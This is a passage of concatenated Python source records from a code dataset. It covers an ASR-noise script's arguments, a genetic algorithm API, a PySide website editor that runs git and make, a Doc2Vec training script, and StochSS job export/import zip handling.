parser.add_argument(\"--max_wer\", \"-mw\", type=float, default=0.6,\n                        help=\"Limit the variance of the WER across the sentences.\")\n    parser.add_argument(\"--sentence_samples\", \"-ss\", type=int, default=20,\n                        help=\"How many different errors are generated for singe error (we sample from this)... increases variance of error\")\n    parser.add_argument(\"--sampling_sentence_samples\", \"-sss\", type=str, default=\"weighted_lm\",\n                        help=\"How final sentence is sampled options:['uniform','weighted_lm', 'max_lm']; 'weighted_lm' := higher the LM score, higher the probability)\")\n\n\n    # Phoneme model parameters\n    parser.add_argument(\"--g2p_model\", \"-g2p\", type=str, default=\"train_phoneme/model/g2p.fst\",\n                        help=\"Path to the trained g2p model (word -> phonemes)\")\n    parser.add_argument(\"--p2g_model\", \"-p2g\", type=str, default=\"train_phoneme/model/p2g.fst\",\n                        help=\"Path to the trained p2g model (phonemes -> word)\")\n    parser.add_argument(\"--lexicon\", \"-lex\", type=str, default=\"train_phoneme/cmudict.formatted.dict\",\n                        help=\"Dictionary for generating pronunciation of known word\")\n\n    # Dictionary model parameters\n    parser.add_argument(\"--dictionary_filename_list\", \"-dfl\", type=str, default=\"dictionary-files-list.txt\",\n                        help=\"Path to the file which contains list of files to be used by dictionary error_model\")\n    parser.add_argument(\"--jaro_winkler_threshold\", \"-jwt\", type=float, default=0.8,\n                        help=\"Words from dictionaries are consider similar (suitable for error) only when Jaro-Winkler similaryty >= 0.8\")\n\n    # Embdedding model parameters\n\n    args = parser.parse_args()\n\n    input_sentence_generator = get_generator(**args.__dict__)\n    homo_noiser_script = HomoNoiserScript(input_sentence_generator, **args.__dict__)\n    homo_noiser_script.run()\n\n","sub_path":"1920-summer/projects/synthetic-asr-errors-for-more-robust-mt/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":20505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"59940937","text":"import math\nimport random\nfrom abc import ABC, abstractmethod\nfrom typing import Mapping, Type, Dict, List, Tuple\nimport numpy\nfrom GeneticAlgoAPI.chromosome import Chromosome\nfrom GeneticAlgoAPI.crossover_strategy import CrossoverStrategy\nfrom GeneticAlgoAPI.fitness_function import FitnessFuncBase\nfrom GeneticAlgoAPI.mutation_strategy import MutationStrategy\nfrom GeneticAlgoAPI.population import Population\nfrom GeneticAlgoAPI.selection_strategy import SelectionStrategy\n\n\nclass GeneticAlgorithm(SelectionStrategy, CrossoverStrategy, MutationStrategy, FitnessFuncBase, ABC):\n    def __init__(self, mutation_rate, crossover_rate, population_size, **kwargs):\n        self.mutation_rate = mutation_rate\n        self.crossover_rate = crossover_rate\n        self.population_size = population_size\n\n        self.best_score_so_far = -math.inf\n\n    def set_fitness_scores(self, population: Population):\n        scores = self.fitness_func(population)\n        for chromo, score in scores.items():\n            chromo.set_fitness_score(score)\n\n            # track the fittest score\n            if score > self.best_score_so_far:\n                self.best_score_so_far = score\n\n    @abstractmethod\n    def get_stop_cond(self, population: Population):\n        \"\"\" returns True if the algorithm should stop\"\"\"\n        raise NotImplemented\n\n    def mutation(self, population: Population) -> Population:\n        \"\"\"  \"\"\"\n        new_pop = Population()\n        for ch in population:\n            new_pop.add_chromosome(self.mutate(ch))\n        return new_pop\n\n    def crossover(self, parents: List[Tuple[Chromosome]], pop_size: int) -> Population:\n        \"\"\"\n        get list of parents to mate, return the new population\n\n        NOTE: when population (size - elitism amount) doesn't divide in (offspring amount) then the remainder\n         offsprings won't enter the new population.\n        \"\"\"\n        new_population = Population()\n        for chromosomes in parents:\n            # do crossover with probability self.crossover_rate\n            if random.random() < self.crossover_rate:\n                offsprings = self.pair_chromosomes(chromosomes)\n            else:\n                offsprings = chromosomes  # [ch.__copy__() for ch in chromosomes]  # todo: maybe redundant\n            for ch in offsprings:\n                new_population.add_chromosome(ch)\n                # if there are too many offsprings then stop adding them to population\n                if new_population.get_size() == pop_size:\n                    return new_population\n\n    def selection(self, population: Population) -> List[Tuple[Chromosome]]:\n        \"\"\"\n        select parents for crossover\n\n        implements basic selection method: 1) create a pool of chromosomes, 2) select the amount needed for mating.\n        \"\"\"\n        parents = []\n        pairings = math.ceil(population.get_size() / self.get_offsprings_amount())\n        self.set_selection_pool([ch for ch in population])\n        for _ in range(pairings):\n            parents.append(tuple([self.select() for _ in range(self.get_parents_amount())]))\n        return parents\n\n\nclass ApplyElitism(object):\n    \"\"\" requires self.elitism parameter \"\"\"\n    elitism = None\n\n    def apply_elitism(self, population):\n        \"\"\"\n        return best chromosomes and remove worst chromosomes\n\n        NOTE: changing population\n        :param population:\n        :return:\n        \"\"\"\n        elite = []\n        if self.elitism > 0:\n            chromos, scores = [], []\n            for ch in population:\n                chromos.append(ch)\n                scores.append(ch.get_fitness())\n            scores = numpy.array(scores)\n\n            # elitism: add fittest chromosomes to new population, remove worst chromosomes\n            for _ in range(self.elitism):\n                # add chromosome with best score\n                indx = int(numpy.argmax(scores))\n                elite.append(chromos[indx])\n                # remove chromosome with best score (so it won't be picked again)\n                scores = numpy.delete(scores, indx)\n                del chromos[indx]\n                # remove chromosome with worst score from population\n                indx = int(numpy.argmin(scores))\n                scores = numpy.delete(scores, indx)\n                population.remove_chromosome(chromos[indx])\n                del chromos[indx]\n        return elite\n\n\ndef positive(fitness_func):\n    \"\"\" force a fitness_func to return positive scores, larger then 0\"\"\"\n    def inner(*args, **kwargs):\n        output = fitness_func(*args, **kwargs)\n        if any(val <= 0 for val in output.values()):\n            abs_max = max([abs(val) for val in output.values()])\n            for k, v in output.items():\n                output[k] = v + abs_max + 1\n        return output\n    return inner\n\n\n","sub_path":"ex1/GeneticAlgoAPI/genetic_algorithm.py","file_name":"genetic_algorithm.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"42119009","text":"\nimport os, sys, time\nimport subprocess\nimport shutil\n\nfrom PySide import QtCore, QtGui, QtWebKit\n\nSOURCE_DIR = '/home/almar/projects/www/pyzo-website'\nRST_PAGES = '.'\nHTML_PAGES = '_build/html'\n\nPROJECT_NAME = os.path.basename(SOURCE_DIR).split('-')[0]\nDEPLOY_DIR = os.path.join(os.path.split(SOURCE_DIR)[0], '%s.github.io'%PROJECT_NAME)\n\n\nclass Main(QtGui.QWidget):\n    def __init__(self):\n        super().__init__(None)\n        \n        # Create console\n        self._console = MonoSpaceTextEdit(self, relativesize=-2)\n        self._console.setReadOnly(True)\n        self._console.setMinimumSize(400, 100)\n        self._console.setMaximumSize(400, 100)\n        self._console.addPlainText('Console output\\n')\n        \n        # Create buttons\n        self._pullBut = QtGui.QPushButton('Pull source', self)\n        self._pullBut.clicked.connect(self.onPull)\n        self._generateBut = QtGui.QPushButton('Generate!', self)\n        self._generateBut.clicked.connect(self.onGenerate)\n        self._deployBut = QtGui.QPushButton('Deploy', self)\n        self._deployBut.clicked.connect(self.onDeploy)\n        #\n        self._backBut = QtGui.QPushButton('Previous', self)\n        self._refreshBut = QtGui.QPushButton('Refresh', self)\n        \n        # Create splitter\n        self._splitter = QtGui.QSplitter(self)\n        \n        # Create list for source files and initialize\n        self._sourceList = QtGui.QListWidget(self._splitter)\n        self._sourceList.itemActivated.connect(self.onFileSelected)\n        for fname in sorted(os.listdir(SOURCE_DIR)):\n            if fname.endswith('.rst'):\n                self._sourceList.addItem(fname)\n        \n        # Create editor to edit the source\n        self._sourceEdit = MonoSpaceTextEdit(self._splitter)\n        self._currentFile = None\n        \n        # Create html viewer\n        self._htmlView = QtWebKit.QWebView(self._splitter)\n        self._htmlView.setUrl( os.path.join(SOURCE_DIR, HTML_PAGES, 'index.html') )\n        self._htmlView.setZoomFactor(0.8)\n        \n        # Connect some more signals\n        self._backBut.clicked.connect(self._htmlView.back)\n        self._refreshBut.clicked.connect(self._htmlView.reload)\n        \n        self._layout()\n    \n    \n    def _layout(self):\n        \n        # Add buttons to layout\n        #\n        butLayoutH1 = QtGui.QHBoxLayout()\n        butLayoutH1.addWidget(self._pullBut)\n        butLayoutH1.addStretch(1)\n        #\n        butLayoutH2= QtGui.QHBoxLayout()\n        butLayoutH2.addWidget(self._generateBut)\n        butLayoutH2.addWidget(self._deployBut)\n        butLayoutH2.addStretch(1)\n        #\n        butLayoutH3= QtGui.QHBoxLayout()\n        butLayoutH3.addStretch(1)\n        butLayoutH3.addWidget(self._refreshBut)\n        butLayoutH3.addWidget(self._backBut)\n        #\n        butLayoutV = QtGui.QVBoxLayout()\n        butLayoutV.addLayout(butLayoutH1)\n        butLayoutV.addLayout(butLayoutH2)\n        butLayoutV.addLayout(butLayoutH3)\n        \n        # Top layout\n        topLayout = QtGui.QHBoxLayout()\n        topLayout.addWidget(self._console, 0)\n        topLayout.addLayout(butLayoutV, 1)\n        \n        # Main Layout\n        layout = QtGui.QVBoxLayout(self)\n        self.setLayout(layout)\n        #\n        layout.addLayout(topLayout)\n        layout.addWidget(self._splitter)\n    \n    \n    def onPull(self):\n        #self.run_command('ls')\n        self.run_command('git pull')\n    \n    \n    def onGenerate(self):\n        self._saveCurrentFile()\n        self.run_command('make html')\n        self._htmlView.reload()\n    \n    \n    def onFileSelected(self, item):\n        self._saveCurrentFile()\n        \n        # Load new\n        fname = os.path.join(SOURCE_DIR, item.text())\n        text = open(fname, 'rb').read().decode('utf-8')\n        self._sourceEdit.setPlainText(text)\n        self._currentFile = fname\n    \n    \n    def onDeploy(self):\n        \n        self.run_command('git pull', DEPLOY_DIR)\n        \n        # Copy all files\n        try:\n            src_dir = os.path.join(SOURCE_DIR, HTML_PAGES)\n            for fname in os.listdir(src_dir):\n                src = os.path.join(src_dir, fname)\n                dst = os.path.join(DEPLOY_DIR, fname)\n                if os.path.isdir(src):\n                    if os.path.isdir(dst):\n                        shutil.rmtree(dst)\n                    shutil.copytree(src, dst)\n                elif os.path.isfile(src):\n                    shutil.copy2(src, dst)\n        except Exception as err:\n            self._console.addPlainTex('Error copying files:\\n')\n            self._console.addPlainTex(str(err)+'\\n')\n            raise\n        \n        # Get Git credentials\n        username = QtGui.QInputDialog.getText(self, 'Credentials', 'Git username')\n        password = QtGui.QInputDialog.getText(self, 'Credentials', 'Git password',\n           QtGui.QLineEdit.Password)\n        if isinstance(username, tuple): username = username[0]\n        if isinstance(password, tuple): password = password[0]\n        \n        # Push it!\n        self.run_command('git push', DEPLOY_DIR, [username, password])\n    \n    \n    def _saveCurrentFile(self):\n        # Save current if we can\n        if self._currentFile:\n            with open(self._currentFile, 'wb') as f:\n                text = self._sourceEdit.toPlainText()\n                f.write(text.encode('utf-8'))\n\n\n    def run_command(self, cmd, cwd=None, input=None):\n        \"\"\" Run a command, showing its stdout/stderr in a new window.\n        \"\"\"\n        # Show command\n        self._console.addPlainText('\\n$ %s\\n' % str(cmd))\n        \n        # Run command\n        inputPipe = subprocess.PIPE if input else None\n        print(inputPipe)\n        cwd = cwd or SOURCE_DIR\n        p = subprocess.Popen(cmd, shell=True, cwd=cwd,\n                    stdin=inputPipe, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n        \n        # Input?\n        if input:\n            for line in input:\n                p.stdin.write(line.encode('utf-8')+b'\\n')\n        \n        # Enter a loop ...\n        self.setDisabled(True)\n        try:\n            stop = False\n            while not stop:\n                time.sleep(0.01)\n                QtGui.qApp.processEvents()\n                # Should we stop?\n                stop = p.poll() is not None\n                # Pipe output (called one time after process is stopped)\n                text = p.stdout.read().decode('utf-8', 'ignore')\n                if text:\n                    self._console.addPlainText(text)\n        except Exception as err:\n            self._console.addPlainText('Error!\\n%s\\n' % str(err))\n        finally:\n            self.setDisabled(False)\n        \n        # Notify finished\n        if p.poll() == 0:\n            self._console.addPlainText(\"\\n==> Done\\n\")\n        elif p.poll():\n            self._console.addPlainText(\"\\n==> Error\\n\")\n\n\n\nclass MonoSpaceTextEdit(QtGui.QPlainTextEdit):\n    def __init__(self, *args, **kwargs):\n        # Get kwargs\n        relativesize = kwargs.pop('relativesize', 0)\n        # Normal init\n        QtGui.QPlainTextEdit.__init__(self, *args, **kwargs)\n        # Get size and family\n        size = QtGui.QFont().pointSize()\n        size += relativesize\n        f = QtGui.QFont('lalala this is not a valid font name')\n        f.setStyleHint(f.TypeWriter, f.PreferDefault)\n        family = QtGui.QFontInfo(f).family()\n        # Set font\n        self.setFont(QtGui.QFont(family, size))\n\n    def addPlainText(self, text):\n        self.setPlainText(self.toPlainText() + text)\n        cursor = self.textCursor()\n        cursor.movePosition(cursor.End)\n        self.setTextCursor(cursor)\n        self.ensureCursorVisible()\n\n\n\n    \n    \n\nif __name__ == '__main__':\n    m = Main()\n    m.show()\n","sub_path":"scripts/website-editor.py","file_name":"website-editor.py","file_ext":"py","file_size_in_byte":7701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"272397339","text":"import config\nimport util\n\nimport os\nimport sys\nimport gensim \n\n## checking output path first\nif not os.path.isdir(os.path.dirname(config.OUTPUT_VECTOR_PATH)):\n    print('The folder is not exist: ', config.OUTPUT_VECTOR_PATH)\n    sys.exit()\nif not os.path.isdir(os.path.dirname(config.OUTPUT_MODEL_PATH)):\n    print('The folder is not exist: ', config.OUTPUT_MODEL_PATH)\n    sys.exit()\n\nsentences = util.MyDocuments(dirname=config.DATASET, ext_filter=config.FILE_EXT, encoding=config.FILE_ENCODING, language=config.LANGUAGE, is_remove_stopword=config.IS_REMOVE_STOP_WORDS)\nepoch_logger = util.EpochLogger()\n\nprint(\"Training\")\n## checking if existing training model\nif os.path.exists(config.OUTPUT_MODEL_PATH):\n    model   = gensim.models.doc2vec.Doc2Vec.load(config.OUTPUT_MODEL_PATH)\n    model.train(sentences, total_words=len(model.wv.vocab), epochs=config.EPOCH, callbacks=[epoch_logger])\nelse:\n    model   = gensim.models.doc2vec.Doc2Vec(sentences, dm=config.USE_PV_DM, epochs=config.EPOCH, size=config.VECTOR_SIZE, window=config.WINDOW, callbacks=[epoch_logger])\n\nprint(\"Saving model\")\nmodel.save(config.OUTPUT_MODEL_PATH)\nmodel.wv.save(config.OUTPUT_VECTOR_PATH)\nprint(\"Done\")\n\n## test\nfrom pyvi import ViTokenizer\ntext = 'Nó được quản lý bởi Bộ Bưu điện & Viễn thông Bangladesh'\ntext = ViTokenizer.tokenize(text).split()\nprint(model.infer_vector(text))\n\n","sub_path":"Nlp_Model/Model/Doc2Vec/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"172993565","text":"try:\n  import json\nexcept ImportError:\n  from django.utils import simplejson as json\nimport jinja2\nfrom google.appengine.ext import db\nimport pickle\nimport traceback\nimport random\nimport zipfile\nimport tempfile\nimport logging\nimport time\nimport sys\nimport simulation\nimport modeleditor\nimport shutil\nfrom google.appengine.api import users\n\nimport sensitivity\nimport stochoptim\nfrom stochssapp import BaseHandler, User\nfrom stochss.model import *\nfrom stochss.stochkit import *\nfrom stochss.examplemodels import *\nfrom backend.backendservice import backendservices\n\nimport webapp2\n\njinja_environment = jinja2.Environment(autoescape=True,\n                                       loader=(jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), '../templates'))))\n\nclass ExportJobWrapper(db.Model):\n    userId = db.StringProperty()\n    startTime = db.StringProperty()\n    status = db.StringProperty()\n    outData = db.StringProperty()\n\n    def delete(self):\n        try:\n            os.remove(self.outData)\n        except Exception as e:\n            sys.stderr.write(\"ExportJobWrapper.delete(): {0}\\n\".format(e))\n        super(ExportJobWrapper, self).delete()\n\nclass SuperZip:\n    def __init__(self, directory = None, zipFileName = None, preferredName = \"backup_\", stochKitJobsToDownload = [], sensitivityJobsToDownload = [], stochOptimJobsToDownload = []):\n        self.stochKitJobsToDownload = stochKitJobsToDownload\n        self.sensitivityJobsToDownload = sensitivityJobsToDownload\n        self.stochOptimJobsToDownload = stochOptimJobsToDownload\n        if directory == None and zipfile == None:\n            raise Exception(\"SuperZip must have either directory or zipFileName defined in constructor\")\n\n        if directory:\n            [tid, self.tmpfile] = tempfile.mkstemp(dir = directory, prefix = preferredName, suffix = \".zip\")\n            self.zipfbFile = os.fdopen(tid, 'w')\n            self.zipfb = zipfile.ZipFile(self.zipfbFile, mode = 'w', allowZip64 = True)\n            self.names = []\n\n            try:\n                fversion = open(os.path.abspath(os.path.dirname(__file__)) + '/../VERSION', 'r')\n                self.version = fversion.read().strip()\n                fversion.close()\n            except:\n                self.version = \"1.1.0\"\n        else:\n            fdescript = os.open(zipFileName, os.O_RDONLY)\n            self.zipfbFile = os.fdopen(fdescript, 'r')\n            self.zipfb = zipfile.ZipFile(self.zipfbFile, mode = 'r', allowZip64 = True)\n\n    def getFileName(self):\n        return self.tmpfile\n\n    def getName(self, preferredName):\n        basename = self.tmpfile[:-4].split('/')[-1]\n\n        fileName = '{0}/{1}'.format(basename, preferredName)\n        while fileName in self.names:\n            prefBase, ext = os.path.splitext(preferredName)\n            fileName = '{0}/{1}_{2}{3}'.format(basename, prefBase, ''.join(random.choice('abcdefghijklmnopqrztuvwxyz') for x in range(3)), ext)\n\n        self.names.append(fileName)\n\n        return fileName\n\n    def addBytes(self, name, buf):\n        name = self.getName(name)\n        \n        self.zipfb.writestr(name, buf)\n        \n        return name\n    \n    def addFile(self, name, path):\n        name = self.getName(name)\n        \n        self.zipfb.write(path, name)\n        \n        return name\n    \n    def addFolder(self, name, path):\n        name = self.getName(name)\n        \n        for dirpath, dirnames, filenames in os.walk(path):\n            for f in filenames:\n                fp = os.path.join(dirpath, f)\n                rel = os.path.relpath(fp, path)\n                self.zipfb.write(fp, os.path.join(name, rel))\n                \n        return name\n\n    def addStochKitModel(self, model):\n        jsonModel = { \"version\" : self.version,\n                      \"name\" : model.model_name,\n                      \"user_id\" : model.user_id }\n\n        if model.user_id == \"\":\n            return\n\n        #print \"adding model\", model.model_name, \"user_id\", model.user_id\n\n        if model.attributes:\n            jsonModel.update(model.attributes)\n            \n        jsonModel[\"units\"] = model.model.units\n\n        jsonModel[\"model\"] = self.addBytes('models/data/{0}.xml'.format(model.model_name), model.model.serialize())\n        self.addBytes('models/{0}.json'.format(model.model_name), json.dumps(jsonModel, sort_keys=True, indent=4, separators=(', ', ': ')))\n\n    def addStochKitJob(self, job, globalOp = False):\n        stochkit_job = job.stochkit_job\n\n        # Only export finished jobs\n        if stochkit_job.status == \"Finished\":\n            # These are fields shared among all jobs\n            jsonJob = { \"version\" : self.version,\n                        \"name\" : job.name,\n                        \"user_id\" : job.user_id,\n                        \"stdout\" : job.stdout,\n                        \"stderr\" : job.stderr,\n                        # These are things contained in the stochkit_job object\n                        \"type\" : stochkit_job.type,\n                        \"status\" : stochkit_job.status,\n                        \"modelName\" : job.modelName,\n                        \"final_time\" : stochkit_job.final_time,\n                        \"increment\" : stochkit_job.increment,\n                        \"units\" : job.stochkit_job.units,\n                        \"realizations\" : stochkit_job.realizations,\n                        \"exec_type\" : stochkit_job.exec_type,\n                        \"store_only_mean\" : stochkit_job.store_only_mean,\n                        \"label_column_names\" : stochkit_job.label_column_names,\n                        \"create_histogram_data\" : stochkit_job.create_histogram_data,\n                        \"epsilon\" : stochkit_job.epsilon,\n                        \"threshold\" : stochkit_job.threshold,\n                        \"pid\" : stochkit_job.pid,\n                        \"result\" : stochkit_job.result }\n            # For cloud jobs, we need to include the output_url and possibly grab the results from S3\n            if stochkit_job.resource == 'Cloud':\n                jsonJob[\"output_url\"] = job.stochkit_job.output_url\n                # Only grab S3 data if user wants us to\n                #print 'globalOP', globalOp\n                if (job.name in self.stochKitJobsToDownload) or globalOp:\n                    if stochkit_job.output_location is None or (stochkit_job.output_location is not None and not os.path.exists(stochkit_job.output_location)):\n                        # Grab the output from S3 if we need to\n                        service = backendservices()\n                        service.fetchOutput(stochkit_job.pid, stochkit_job.output_url)\n                        # Unpack it to its local output location\n                        os.system('tar -xf' +stochkit_job.uuid+'.tar')\n                        stochkit_job.output_location = os.path.dirname(os.path.abspath(__file__))+'/../output/'+stochkit_job.uuid\n                        stochkit_job.output_location = os.path.abspath(stochkit_job.output_location)\n                        # Update the DB entry\n                        job.put()\n                        # Clean up\n                        os.remove(stochkit_job.uuid+'.tar')\n                    # Add its data to the zip archive\n                    outputLocation = self.addFolder('stochkitJobs/data/{0}'.format(job.name), stochkit_job.output_location)\n                    jsonJob[\"output_location\"] = outputLocation\n            # For local jobs, we need to include the output location in the zip archive\n            elif stochkit_job.resource == 'Local':\n                outputLocation = self.addFolder('stochkitJobs/data/{0}'.format(job.name), stochkit_job.output_location)\n                jsonJob[\"stdout\"] = \"{0}/stdout\".format(outputLocation)\n                jsonJob[\"stderr\"] = \"{0}/stderr\".format(outputLocation)\n                jsonJob[\"output_location\"] = outputLocation\n            # Also be sure to include any extra attributes of job\n            if job.attributes:\n                jsonJob.update(job.attributes)\n            # Add the JSON to the zip archive\n            self.addBytes('stochkitJobs/{0}.json'.format(job.name), json.dumps(jsonJob, sort_keys=True, indent=4, separators=(', ', ': ')))\n\n    def addStochOptimJob(self, job, globalOp = False):\n        jsonJob = { \"version\" : self.version,\n                    \"userId\" : job.userId,\n                    \"pid\" : job.pid,\n                    \"startTime\" : job.startTime,\n                    \"jobName\" : job.jobName,\n                    \"modelName\" : job.modelName,\n                    \"indata\" : json.loads(job.indata),\n                    \"nameToIndex\" : json.loads(job.nameToIndex),\n                    \"outData\" : job.outData,\n                    \"status\" : job.status }\n        \n        # For cloud jobs, we need to include the output_url and possibly grab the results from S3\n        if job.resource == 'cloud':\n            jsonJob[\"output_url\"] = job.outputURL\n            # Only grab S3 data if user wants us to\n            if (job.jobName in self.stochKitJobsToDownload) or globalOp:\n                # Do we need to download it?\n                if job.outData is None or (job.outData is not None and not os.path.exists(job.outData)):\n                    # Grab the output from S3\n                    service = backendservices()\n                    service.fetchOutput(job.pid, job.outputURL)\n                    # Unpack it to its local output location\n                    os.system(\"tar -xf {0}.tar\".format(job.pid))\n                    # And update the db entry\n                    job.outData = os.path.abspath(os.path.join(\n                        os.path.dirname(os.path.abspath(__file__)),\n                        \"../output/{0}\".format(job.pid)\n                    ))\n                    job.put()\n                    os.remove(\"{0}.tar\".format(job.pid))\n        # Only add the folder if it actually exists\n        if job.outData is not None and os.path.exists(job.outData):\n            outputLocation = self.addFolder('stochOptimJobs/data/{0}'.format(job.jobName), job.outData)\n            jsonJob[\"outData\"] = outputLocation\n\n        jsonJob[\"stdout\"] = \"{0}/stdout\".format(outputLocation)\n        jsonJob[\"stderr\"] = \"{0}/stderr\".format(outputLocation)\n\n        self.addBytes('stochOptimJobs/{0}.json'.format(job.jobName), json.dumps(jsonJob, sort_keys=True, indent=4, separators=(', ', ': ')))\n    \n    def addSensitivityJob(self, job, globalOp = False):\n        if job.status == \"Finished\":\n            # Shared fields\n            jsonJob = { \"version\" : self.version,\n                        \"userId\" : job.userId,\n                        \"jobName\" : job.jobName,\n                        \"modelName\" : job.modelName,\n                        \"startTime\" : job.startTime,\n                        \"indata\" : json.loads(job.indata),\n                        \"status\" : job.status }\n            if job.resource == \"local\":\n                outputLocation = self.addFolder('sensitivityJobs/data/{0}'.format(job.jobName), job.outData)\n                jsonJob[\"outData\"] = outputLocation\n            elif job.resource == \"cloud\":\n                jsonJob[\"outputURL\"] = job.outputURL\n                # Only grab S3 data if user wants us to\n                if (job.jobName in self.sensitivityJobsToDownload) or globalOp:\n                    if job.outData is None or (job.outData is not None and not os.path.exists(job.outData)):\n                        # Grab the output from S3 if we need to\n                        service = backendservices()\n                        service.fetchOutput(job.cloudDatabaseID, job.outputURL)\n                        # Unpack it to its local output location\n                        os.system('tar -xf' +job.cloudDatabaseID+'.tar')\n                        job.outData = os.path.dirname(os.path.abspath(__file__))+'/../output/'+job.cloudDatabaseID\n                        job.outData = os.path.abspath(job.outData)\n                        # Update the DB entry\n                        job.put()\n                        # Clean up\n                        os.remove(job.cloudDatabaseID+'.tar')\n                    outputLocation = self.addFolder('sensitivityJobs/data/{0}'.format(job.jobName), job.outData)\n                    jsonJob[\"outData\"] = outputLocation\n            self.addBytes('sensitivityJobs/{0}.json'.format(job.jobName), json.dumps(jsonJob, sort_keys=True, indent=4, separators=(', ', ': ')))\n\n    def extractStochKitModel(self, path, userId = None, handler = None, rename = None):\n        modelj = json.loads(self.zipfb.read(path))\n        modelj[\"model\"] = self.zipfb.read(modelj[\"model\"])\n\n        #print \"IMPORTING JOB USER ID IS: \", userId, jobj[\"user_id\"], [x.user_id() for x in User.query().fetch()], jobj[\"user_id\"] in [x.user_id() for x in User.query().fetch()]\n\n        #print \"importing \", modelj[\"model_name\"], modelj[\"user_id\"]\n\n        if modelj[\"user_id\"] not in [x.user_id() for x in User.query().fetch()]:\n            modelj[\"user_id\"] = handler.user.user_id()\n\n        if userId:\n            modelj[\"user_id\"] = userId\n            \n        res = modeleditor.ModelManager.createModel(handler, modelj, rename = rename)\n\n        #print \"create model result \", res\n\n        return res\n\n    def extractStochKitJob(self, path, userId = None, handler = None, rename = None):\n        jobj = json.loads(self.zipfb.read(path))\n        path = os.path.abspath(os.path.dirname(__file__))\n\n        #print \"Rename: \", rename\n\n        zipPath = jobj[\"output_location\"]\n\n        if jobj[\"user_id\"] not in [x.user_id() for x in User.query().fetch()]:\n            jobj[\"user_id\"] = handler.user.user_id()\n\n        if userId:\n            jobj[\"user_id\"] = userId\n\n        outPath = tempfile.mkdtemp(dir = \"{0}/../output/\".format(path))\n\n        for name in self.zipfb.namelist():\n            if re.search('^{0}/.*$'.format(zipPath), name):\n                relname = os.path.relpath(name, zipPath)\n\n                if not os.path.exists(os.path.dirname(\"{0}/{1}\".format(outPath, relname))):\n                    os.makedirs(os.path.dirname(\"{0}/{1}\".format(outPath, relname)))\n\n                fhandle = open(\"{0}/{1}\".format(outPath, relname), 'w')\n                fhandle.write(self.zipfb.read(name))\n                fhandle.close()\n\n        jobj[\"modelName\"] = jobj[\"modelName\"] if \"modelName\" in jobj else None\n\n        jobj[\"output_location\"] = outPath\n        jobj[\"stdout\"] = \"{0}/stdout\".format(outPath)\n        jobj[\"stderr\"] = \"{0}/stderr\".format(outPath)\n    \n        return simulation.JobManager.createJob(handler, jobj, rename = rename)\n\n    def extractStochOptimJob(self, path, userId = None, handler = None, rename = None):\n        jsonJob = json.loads(self.zipfb.read(path))\n        path = os.path.abspath(os.path.dirname(__file__))\n        \n        zipPath = jsonJob[\"outData\"]\n\n\n        job = stochoptim.StochOptimJobWrapper()\n\n        jobNames = [x.jobName for x in db.Query(stochoptim.StochOptimJobWrapper).filter('userId =', handler.user.user_id()).run()]\n\n        #print jobNames\n\n        if jsonJob[\"jobName\"] in jobNames:\n            if rename:\n\n                i = 1\n                tryName = '{0}_{1}'.format(jsonJob[\"jobName\"], i)\n\n                while tryName in jobNames:\n                    i = i + 1\n                    tryName = '{0}_{1}'.format(jsonJob[\"jobName\"], i)\n                    \n                jsonJob[\"jobName\"] = tryName\n\n        if jsonJob[\"userId\"] not in [x.user_id() for x in User.query().fetch()]:\n            jsonJob[\"userId\"] = handler.user.user_id()\n\n        if userId:\n            jsonJob[\"userId\"] = userId\n\n        outPath = tempfile.mkdtemp(dir = \"{0}/../output/\".format(path))\n\n        for name in self.zipfb.namelist():\n            if re.search('^{0}/.*$'.format(zipPath), name):\n                relname = os.path.relpath(name, zipPath)\n\n                if not os.path.exists(os.path.dirname(\"{0}/{1}\".format(outPath, relname))):\n                    os.makedirs(os.path.dirname(\"{0}/{1}\".format(outPath, relname)))\n\n                fhandle = open(\"{0}/{1}\".format(outPath, relname), 'w')\n                fhandle.write(self.zipfb.read(name))\n                fhandle.close()\n\n        job.userId = jsonJob[\"userId\"]\n        job.jobName = jsonJob[\"jobName\"]\n        job.startTime = jsonJob[\"startTime\"]\n        job.modelName = jsonJob[\"modelName\"] if \"modelName\" in jsonJob else None\n        job.indata = json.dumps(jsonJob[\"indata\"])\n        job.nameToIndex = json.dumps(jsonJob[\"nameToIndex\"])\n        job.outData = outPath\n        job.status = jsonJob[\"status\"]\n\n        job.put()\n\n        return job.key().id()\n\n    def extractSensitivityJob(self, path, userId = None, handler = None, rename = None):\n        jsonJob = json.loads(self.zipfb.read(path))\n        path = os.path.abspath(os.path.dirname(__file__))\n        \n        zipPath = jsonJob[\"outData\"]\n\n\n        job = sensitivity.SensitivityJobWrapper()\n\n        jobNames = [x.jobName for x in db.Query(sensitivity.SensitivityJobWrapper).filter('userId =', handler.user.user_id()).run()]\n\n        if jsonJob[\"jobName\"] in jobNames:\n            if rename:\n\n                i = 1\n                tryName = '{0}_{1}'.format(jsonJob[\"jobName\"], i)\n\n                while tryName in jobNames:\n                    i = i + 1\n                    tryName = '{0}_{1}'.format(jsonJob[\"jobName\"], i)\n                    \n                jsonJob[\"jobName\"] = tryName\n\n        if jsonJob[\"userId\"] not in [x.user_id() for x in User.query().fetch()]:\n            jsonJob[\"userId\"] = handler.user.user_id()\n\n        if userId:\n            jsonJob[\"userId\"] = userId\n\n        outPath = tempfile.mkdtemp(dir = \"{0}/../output/\".format(path))\n\n        for name in self.zipfb.namelist():\n            if re.search('^{0}/.*$'.format(zipPath), name):\n                relname = os.path.relpath(name, zipPath)\n\n                if not os.path.exists(os.path.dirname(\"{0}/{1}\".format(outPath, relname))):\n                    os.makedirs(os.path.dirname(\"{0}/{1}\".format(outPath, relname)))\n\n                fhandle = open(\"{0}/{1}\".format(outPath, relname), 'w')\n                fhandle.write(self.zipfb.read(name))\n                fhandle.close()\n\n        job.userId = jsonJob[\"userId\"]\n        job.jobName = jsonJob[\"jobName\"]\n        job.startTime = jsonJob[\"startTime\"]\n        job.indata = json.dumps(jsonJob[\"indata\"])\n        job.modelName = jsonJob[\"modelName\"] if \"modelName\" in jsonJob else None\n        job.outData = 